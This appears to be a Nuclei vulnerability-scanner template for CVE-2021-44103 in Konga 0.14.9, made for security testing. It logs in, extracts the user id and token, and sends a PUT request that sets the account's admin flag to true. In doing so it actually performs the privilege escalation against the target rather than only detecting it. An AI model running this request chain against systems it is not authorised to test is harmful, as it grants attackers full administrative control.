id: CVE-2021-44103

info:
  name: KOGA 0.14.9 - Privilege Escalation
  author: rschio
  severity: high
  description: Vertical Privilege Escalation in KONGA 0.14.9 allows attackers to higher privilege users to full administration access. The attack vector is a crafted condition, as demonstrated by the /api/user/{ID} at ADMIN parameter.
  reference:
    - http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html
    - https://www.exploit-db.com/exploits/50521
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44103
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-44103
    cwe-id: CWE-269
  tags: cve,cve2021,konga,authenticated

requests:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"password": "{{password}}", "identifier": "{{username}}"}

      - |
        POST /api/user/{{id}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}
        Content-Type: application/json;charset=utf-8

        {"token": "{{token}}"}

      - |
        PUT /api/user/{{id}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}
        Content-Type: application/json;charset=utf-8

        {"admin": "true", "passports": {"password": "{{password}}", "protocol": "local"}, "token": "{{token}}", "password_confirmation": "{{password}}"}

    req-condition: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "\"admin\":false")'
          - 'contains(body_3, "\"admin\":true")'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: id
        internal: true
        group: 1
        regex:
          - '"id":([0-9]+)'

      - type: regex
        part: body
        name: token
        internal: true
        group: 1
        regex:
          - '"token":"(.*)"'